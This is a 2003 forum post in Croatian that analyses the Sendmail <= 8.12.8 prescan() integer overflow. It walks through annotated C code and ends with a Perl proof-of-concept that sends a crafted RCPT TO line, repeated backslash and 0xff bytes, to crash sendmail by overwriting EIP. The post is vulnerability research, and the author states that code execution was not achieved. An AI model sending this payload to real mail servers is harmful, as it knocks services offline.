[ DownBload @ 31.05.2003. 20:16 ] @
Sendmail <= 8.12.8 integer overflow =========================== by DownBload / II-Labs [email protected] www.kamikaza.org Integer overflow u Sendmailu <= 8.12.8 je otkrio Michal Zalewski a.k.a lcamtuf. Sama ranjivost je u sendmail/parseaddr.c fajlu, prescan() funkcija, koja sluzi za provjeru i formatiranje mail adrese. Fora je u tome sto u advisoryu pise remote code execution, sto ja nikako ne uspijem izvesti. Uspijem prepisati eip sa \ znakovima, te tako srusiti sendmail, ali da ga stvarno exploitam - nikako. Da bi bolje shvatili o cemu se radi, evo pojednostavljeni prikaz prescan() funkcije (samo najbitnije stvari su stavljene, jer je funkcija velika). ---pojednostavljena-funkcija--- #define NOCHAR -1 char **prescan (char *addr, char pvpbuf[], int pvpbufsize) { char *p = addr; // addr je adresa koja se procesira char *q = pvpbuf; // po pvpbuf varijabli pisemo procesiranu adresu int c = NOCHAR; // c - sadrzi znak koji citamo iz addr i pisemo u pvpbuf bool bslashmode = false; // oznacava dal' smo u bslash. modu do { for (;;) { if (c != NOCHAR && !bslashmode) // ako c nije NOCHAR i bslash. nije true { if (q >= &pvpbuf[pvpbufsize-5]) // ako je q veci od velicine pvpbufa { usererr ("Address too long"); // adresa je preduga return NULL; // izadji van iz funkcije } *q++ = c; // pisi po pvpbuf[] varijabli } c = *p++; // citanje novog znaka if (bslashmode) // ako je bslashmode == true { bslashmode = false; if (c != '!') { *q++ = '\\'; // pisi po pvpbuf[] varijabli continue; // sljedeca iteracija petlje } } if (c == '\\') // ako je c == \ , postavi bslashmode u true bslashmode = true; if (c == NOCHAR) // ako je c == -1, sljedeca iteracija petlje continue; } } while (c != '\0' ....) } ---pojednostavljena-funkcija--- Prvo se provjerava dal' je varijabla c razlicita od NOCHAR-a i dal' je bslashmode == false. Ukoliko je tvrdnja istinita, to znaci da je varijabla c obican znak, te se taj znak pise (preko pointera q) u pvpbuf[]. Prije zapisivanja znaka u pvpbuf[], vrsi se provjera dal' pointer q pokazuje na adresu vecu od &pvpbuf + pvpbufsize (odnosno, dal je pointer dosao do kraja pvpbuf varijable). Ako je q veci od pvpbufsize-a, ispisuje se error da je mail adresa preduga i slijedi return NULL; Nakon toga citamo novi znak iz addr varijable. Slijedi provjera bslashmode varijable, pa ako je postavljena na true i c !='!', sadrzaj c varijable se pise u pvpbuf[], pa sljedeca iteracija petlje. Nakon toga vrsi se provjera dal je c=='\', pa ako je, bslashmode se postavlja u true. Na kraju se ispituje dal je c == NOCHAR, pa ako je, slijedi nova iteracija petlje, cita se novi znak sa addr itd.. (NAPOMENA*) Mail adresa moze imati max. 255 znakova, pa pisemo stringove po 255 znakova. (NAPOMENA2*) pvpbuf je velik 1256 bajtova. lcamtuf: -------- Imamo specijalnu varijablu NOCHAR (-1) koja oznacava neka specijalna stanja. Problem je u ulaznoj varijabli koja je signed char, pa ce ASCII 0xff ((char)-1) biti konvertirano u 0xffffffff ((int)-1) kad se pridruzi varijabli c. Tako napadac moze lazirati NOCHAR varijablu i izbjeci provjeru duzine. -------- Exploitanje: ------------ Da dodjemo do kraja pvpbuf[] varijable, potrebno je poslati sendmailu 4 stringa duzine 255 bajtova i 1 string duzine 200 bajtova. Stringovi moraju biti medjusobno odijeljenji ; znakom. Sad kad smo na kraju pvpbuf[] varijable, moramo otkriti kako prepisati eip. Znaci, eip moramo necim prepisati, a moramo izbjeci provjeru dal je pointer na pvpbuf (q) veci od velicine pvpbufa. Ukoliko postavimo bslashmode (c = '\'), a sljedeci znak bude 0xff ((char)-1), izbjegavamo provjeru polozaja q pointera. Bslashmode je postavljen, pa se po pvpbuf[] varijabli pise znak \. Ako to ponovimo nekoliko puta, dolazi do buffer overflowa i eip je prepisan sa \ znakovima. Hmmm... ------- Prilikom proucavanja tog buga u sendmailu, trebalo mi je 2 sata da skuzim sta i kako se moze napraviti. Procitajte ovaj tekstic nekoliko puta, te pogledajte parseaddr.c, pa mozda nesto skuzite. Ukoliko zelite provjeriti dal bug radi, na kraju je prilozen exploit. Pokrenite exploit, te se gdb-om attachajte na sendmail child proces. Zato sam u program stavio sleep(15). Proces (sendmail) bi trebao puknuti sa 5c5c5c5c in eip. exploit: --------cut-------- #!/usr/bin/perl use IO::Socket; $NOP = "A"; $ff = "\xff"; $port = 25; $host = "localhost"; sub do () { $buffer = <$sock>; print $buffer,"\n"; } $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp") || die "ERROR: Can't connect to $host!!!\n\n"; &do(); print $sock "HELO localhost\r\n"; sleep(15); # attachanje na sendmail child sa gdb-om &do(); print $sock "MAIL FROM: <root\@localhost>\r\n"; &do(); $sploit = "RCPT TO: " . $NOP x 255 . ";" . $NOP x 255 . ";" . $NOP x 255 .";" . $NOP x 255 . ";" . $NOP x 200 . ";"; $sploit .= "\\$ff" x 500; print $sock $sploit,"\r\n"; print $sploit; &do(); ---------cut--------- Cilj ---- Cilj ovog teksta je bio da zainteresiram nekoga u istrazivanje tog buga, pa da mi taj netko moze sa 100% sigurnoscu reci da je bug stvarno exploitabilan, odnosno da li se moze po eip-u pisati nesto osim \. Ispricavam se zbog stila pisanja, al ovaj tekst je samo tako da je, a napisao sam ga isfustriran svojom nesposobnoscu. |